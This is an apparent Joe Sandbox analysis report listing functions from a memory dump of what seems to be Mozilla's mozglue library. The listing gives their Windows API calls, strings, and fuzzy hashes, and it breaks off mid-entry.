Part of subcall function 6CAD9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAD9482
Part of subcall function 6CAD9420: __Init_thread_footer.LIBCMT ref: 6CAD949F

GetCurrentThreadId.KERNEL32 ref: 6CADE047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CADE04F

Part of subcall function 6CAD94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAD94EE
Part of subcall function 6CAD94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAD9508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CADE09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CADE0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6CADE057

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: fe81078ae6ecc9b5a2a3dab15da0b10591064a85adad1a2a4f44cf61d1e2a527
Instruction ID: 2c75ab4375561f25ba953503dcfb269567c3b236f4e902b6d5b8b72e84fc5ffa
Opcode Fuzzy Hash: fe81078ae6ecc9b5a2a3dab15da0b10591064a85adad1a2a4f44cf61d1e2a527
Instruction Fuzzy Hash: 5821C2B4B001088FDF04DF64D969AAEF7B9AF45208F194428ED1A97B41DB31F989C7E1

Function 6CAF74A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6CAF7526
__Init_thread_footer.LIBCMT ref: 6CAF7566
__Init_thread_footer.LIBCMT ref: 6CAF7597

Strings

kernel32.dll, xrefs: 6CAF7557
UnmapViewOfFile2, xrefs: 6CAF7552

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 8fd9710da92c040800cd227b0b7ce8888b352d8205fa7835330c60d9d65b837e
Instruction ID: 5e0b01372babf8b83f4fad3bb2b0edfba763e7561cfa6d83a9d2a83324d32141
Opcode Fuzzy Hash: 8fd9710da92c040800cd227b0b7ce8888b352d8205fa7835330c60d9d65b837e
Instruction Fuzzy Hash: 9F213435704541ABCB15CFE8C915EAA33B6EB56335B04052DF815C7F40CB30AC87CA96

Function 6CAFA7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB1F770,-00000001,?,6CB0E330,?,6CABBDF7), ref: 6CAFA7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6CABBDF7), ref: 6CAFA7C2
moz_xmalloc.MOZGLUE(00000018,?,6CABBDF7), ref: 6CAFA7E4
LeaveCriticalSection.KERNEL32(6CB1F770), ref: 6CAFA80A

Strings

accelerator.dll, xrefs: 6CAFA7BF

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: dd9dcb50c95da5ad676285a3a29545791a2afb4fed1a369a85437ae50e62ddbb
Instruction ID: 9f682aa0167454efc2ca1b07f97c16bbec2ffb03e5e23b0e25308207273437e0
Opcode Fuzzy Hash: dd9dcb50c95da5ad676285a3a29545791a2afb4fed1a369a85437ae50e62ddbb
Instruction Fuzzy Hash: 41018FB57142049FAF04CF95D885D517BB9FB89364704806AF819CBB51DB709C00CBA1

Function 6CA9F0A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ole32,?,6CA9EE51,?), ref: 6CA9F0B2
GetProcAddress.KERNEL32(00000000,CoTaskMemFree), ref: 6CA9F0C2

Strings

ole32, xrefs: 6CA9F0AD
Could not load ole32 - will not free with CoTaskMemFree, xrefs: 6CA9F0DC
Could not find CoTaskMemFree, xrefs: 6CA9F0E3

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Could not find CoTaskMemFree$Could not load ole32 - will not free with CoTaskMemFree$ole32
API String ID: 2574300362-1578401391
Opcode ID: 96d10c2568a5290732f17adc7cd7d75df5d4e0c3665d419da70f9c7258243f7f
Instruction ID: 9e961d27338d7879646604529a1f7efceb48561b90e91fa77474b4dfcbc6be4f
Opcode Fuzzy Hash: 96d10c2568a5290732f17adc7cd7d75df5d4e0c3665d419da70f9c7258243f7f
Instruction Fuzzy Hash: 38E0DFB53497419BAF041A62AC1BA263BFD6B22229708842DF402D3F00FA20D050C662

Function 6CAD0080 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CAA7204), ref: 6CAD0088
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext2), ref: 6CAD00A7
FreeLibrary.KERNEL32(?,6CAA7204), ref: 6CAD00BE

Strings

CryptCATAdminAcquireContext2, xrefs: 6CAD00A1
wintrust.dll, xrefs: 6CAD0083

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext2$wintrust.dll
API String ID: 145871493-3385133079
Opcode ID: 62f186df6eb83a9575300ce2bcaa9f289b8af2b0fe5229f1f68d3c3dc9e8a875
Instruction ID: 9addaff13f6ea9929836d4b3c1252ae68c9c2e2576307ce35cfb9e64e212135e
Opcode Fuzzy Hash: 62f186df6eb83a9575300ce2bcaa9f289b8af2b0fe5229f1f68d3c3dc9e8a875
Instruction Fuzzy Hash: 54E092B9644745EBEF00AF66C90A7017BF8A70B356F54452AE914C3F50DBB4D450DF11

Function 6CAD00D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CAA7235), ref: 6CAD00D8
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle2), ref: 6CAD00F7
FreeLibrary.KERNEL32(?,6CAA7235), ref: 6CAD010E

Strings

wintrust.dll, xrefs: 6CAD00D3
CryptCATAdminCalcHashFromFileHandle2, xrefs: 6CAD00F1

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle2$wintrust.dll
API String ID: 145871493-2559046807
Opcode ID: 3ff5d33efc1b22d1bca31db4b8056229a0896157971c0932a52e40ef633000ba
Instruction ID: fe09a06b53192826fdaeb42f7564209685d8e1412a176ade15769716f5409c32
Opcode Fuzzy Hash: 3ff5d33efc1b22d1bca31db4b8056229a0896157971c0932a52e40ef633000ba
Instruction Fuzzy Hash: B0E046B5285345DBEF009F29CA0B7213BF9F743346F144429A90A83F04DBB0D080CB10

Function 6CAFC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CAFC0E9), ref: 6CAFC418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6CAFC437
FreeLibrary.KERNEL32(?,6CAFC0E9), ref: 6CAFC44C

Strings

NtQueryVirtualMemory, xrefs: 6CAFC431
ntdll.dll, xrefs: 6CAFC413

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 6b404481a8e04cd07341989c8da68f5e9705c8d0f5da0f7eedac7fd21e609834
Instruction ID: 3c1e81ae5f1a0a3740809ec5bd206f5f65b8e3d0efbd2d16bdcc4679b53fc4b5
Opcode Fuzzy Hash: 6b404481a8e04cd07341989c8da68f5e9705c8d0f5da0f7eedac7fd21e609834
Instruction Fuzzy Hash: 31E092BA605301DBDF00AB76C90A7117BF8A70621AF044A1AAA0893F10EBB0C012CA50

Function 6CAF75B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CAF748B,?), ref: 6CAF75B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6CAF75D7
FreeLibrary.KERNEL32(?,6CAF748B,?), ref: 6CAF75EC

Strings

ntdll.dll, xrefs: 6CAF75B3
RtlNtStatusToDosError, xrefs: 6CAF75D1

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 3bc6fa510c1e2b42c0926a15938ac1e0fd235a84adf3282d09f8c4014a37d122
Instruction ID: e391cd3d4b23f6bf1145207ffea807d6f07ec25210d7800d3110169868ad18c6
Opcode Fuzzy Hash: 3bc6fa510c1e2b42c0926a15938ac1e0fd235a84adf3282d09f8c4014a37d122
Instruction Fuzzy Hash: DFE0B6B6744341ABEF01AFA2D84A7017BF8EB16328F104429F905D3F10EBB48252CF10

Function 6CAF7600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CAF7592), ref: 6CAF7608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6CAF7627
FreeLibrary.KERNEL32(?,6CAF7592), ref: 6CAF763C

Strings

NtUnmapViewOfSection, xrefs: 6CAF7621
ntdll.dll, xrefs: 6CAF7603

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 196d48d9bc144d902372a119b5abfddb0a05673a7f752a1159d985aa55d67376
Instruction ID: 946dd523c9d98ebe114ae2a816ebf7ddfed5f16534f609ef055bfdedd9d6ac23
Opcode Fuzzy Hash: 196d48d9bc144d902372a119b5abfddb0a05673a7f752a1159d985aa55d67376
Instruction Fuzzy Hash: 83E0B6B6704741ABDF016FE6D80A7067BB8E72A369F00451AE909D3F10E7B08011CF14

Function 6CAFBE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6CAFBE49), ref: 6CAFBEC4
RtlCaptureStackBackTrace.NTDLL ref: 6CAFBEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6CAFBE49), ref: 6CAFBF38
RtlReAllocateHeap.NTDLL ref: 6CAFBF83
RtlFreeHeap.NTDLL ref: 6CAFBFA6

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: aaeebdc648d36b99dac2f9dd0621dd9465b91fa94266ea495ef07ed7e0a59021
Instruction ID: e46bbd678bbe20188dd56ba98e43103fd69aa55db5b47e8fa73e3b1d2ed7761c
Opcode Fuzzy Hash: aaeebdc648d36b99dac2f9dd0621dd9465b91fa94266ea495ef07ed7e0a59021
Instruction Fuzzy Hash: 3051AF71B002018FE710CF69DD80BAAB7B2FF88314F298629E525A7B54D730F9478B80

Function 6CAE8E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6CADB58D,?,?,?,?,?,?,?,6CB0D734,?,?,?,6CB0D734), ref: 6CAE8E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CADB58D,?,?,?,?,?,?,?,6CB0D734,?,?,?,6CB0D734), ref: 6CAE8EBF
free.MOZGLUE(?,?,?,?,6CADB58D,?,?,?,?,?,?,?,6CB0D734,?,?,?), ref: 6CAE8F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CADB58D,?,?,?,?,?,?,?,6CB0D734,?,?,?,6CB0D734), ref: 6CAE8F46
free.MOZGLUE(?,?,?,?,6CADB58D,?,?,?,?,?,?,?,6CB0D734,?,?,?), ref: 6CAE8F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CADB58D,?,?,?,?,?,?,?,6CB0D734,?,?,?), ref: 6CAE8F8F

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 4cd146cd5d1a844104a884dccc4c96718e38e5aa34f0a0e73fc0192ec1ef9f32
Instruction ID: bc3c20b6a00c59b046d9b5361d18b2a2f0d489518371cd31fbeaaac8d9137950
Opcode Fuzzy Hash: 4cd146cd5d1a844104a884dccc4c96718e38e5aa34f0a0e73fc0192ec1ef9f32
Instruction Fuzzy Hash: 2F5190B1A012168FEB15CF6CD88076E73B6BF48318F29056AD916AB740E731F984CBD1

Function 6CAA60E0 Relevance: 7.6, APIs: 6, Instructions: 141COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6CAA5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAA60F4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,6CAA5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAA6180
free.MOZGLUE(?,?,?,?,6CAA5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CAA6211
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6CAA5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAA6229
free.MOZGLUE(?,?,?,?,6CAA5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CAA625E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CAA5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CAA6271

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: cfd92ab984d9c50960c6caf588d224d35fac05f585b2db655a21ccd4d9a28bf5
Instruction ID: b6b7e0e5495527325d7c171632aa8ed55aff3e6c38e52d02ddcfb97ba705ee4d
Opcode Fuzzy Hash: cfd92ab984d9c50960c6caf588d224d35fac05f585b2db655a21ccd4d9a28bf5
Instruction Fuzzy Hash: B6514CB1A002068FEB14CFACD8817AEBBB5EF45308F140539D616D7B51E731A59ACF51

Function 6CAE27E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6CAE2620,?,?,?,6CAD60AA,6CAD5FCB,6CAD79A3), ref: 6CAE284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CAE2620,?,?,?,6CAD60AA,6CAD5FCB,6CAD79A3), ref: 6CAE289A
free.MOZGLUE(?,?,?,6CAE2620,?,?,?,6CAD60AA,6CAD5FCB,6CAD79A3), ref: 6CAE28F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CAE2620,?,?,?,6CAD60AA,6CAD5FCB,6CAD79A3), ref: 6CAE2910
free.MOZGLUE(00000001,?,?,6CAE2620,?,?,?,6CAD60AA,6CAD5FCB,6CAD79A3), ref: 6CAE293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6CAE2620,?,?,?,6CAD60AA,6CAD5FCB,6CAD79A3), ref: 6CAE294E

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 86f76081538c8bb82f82e25d436b5deb451ac9231b8290d4f783bb601aaf62ad
Instruction ID: 36e7cd8c6c7cdff7a4e16256a29691947b9e5e9760c46fe18fd1eb093cee48a1
Opcode Fuzzy Hash: 86f76081538c8bb82f82e25d436b5deb451ac9231b8290d4f783bb601aaf62ad
Instruction Fuzzy Hash: 734161B1A002078FEB14CFA8D88876A77F6AB49308F150639D566EB740E771E984CB91

Function 6CA9CFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB1E784), ref: 6CA9CFF6
LeaveCriticalSection.KERNEL32(6CB1E784), ref: 6CA9D026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6CA9D06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6CA9D139

Strings

MOZ_CRASH(), xrefs: 6CA9D187

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: bde94c5bdebf789e28ea97132e71acff1c0b4bad8bd5bbc03b3b999d227f0941
Instruction ID: 5c8814e732802a380290c03d90c3d00becec762da96e058aeb3f26ffe2fd4321
Opcode Fuzzy Hash: bde94c5bdebf789e28ea97132e71acff1c0b4bad8bd5bbc03b3b999d227f0941
Instruction Fuzzy Hash: 2041AF72F112164FEF058E6C8D9A76E76F0EB59714F280139EA19E7F84D7A19C808BC1

Function 6CA94DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CA94E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CA94E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA94EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CA94F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6CA94F1E

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 9b6333af8500a8b157805187d9d902817bf311abe65bd0f4e3b1d29ad4153fa3
Instruction ID: 02c13cc8b465067e0d45fd3f8fe50ff4ebc7ac482e6e18c8514b2e318f2eb096
Opcode Fuzzy Hash: 9b6333af8500a8b157805187d9d902817bf311abe65bd0f4e3b1d29ad4153fa3
Instruction Fuzzy Hash: EB41D0716187069FC705CF29C48199BBBF4BF89344F148A2DF56687B41DB30E998CB92

Function 6CAFA820 Relevance: 7.6, APIs: 5, Instructions: 106stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB1F770), ref: 6CAFA858
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAFA87B

Part of subcall function 6CAFA9D0: memcpy.VCRUNTIME140(?,?,00000400,?,?,?,6CAFA88F,00000000), ref: 6CAFA9F1

_ltoa_s.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000020,0000000A), ref: 6CAFA8FF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAFA90C
LeaveCriticalSection.KERNEL32(6CB1F770), ref: 6CAFA97E

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: CriticalSectionstrlen$EnterLeave_ltoa_smemcpy
String ID:
API String ID: 1355178011-0
Opcode ID: a1ef195ed933454a4b9ef96c25aadfb611042322ccb8153c99719937c4de857c
Instruction ID: c8561ec40f3e752eebd2f3b231df62e6adc11dc26d6c6de6fc791970dfbd8669
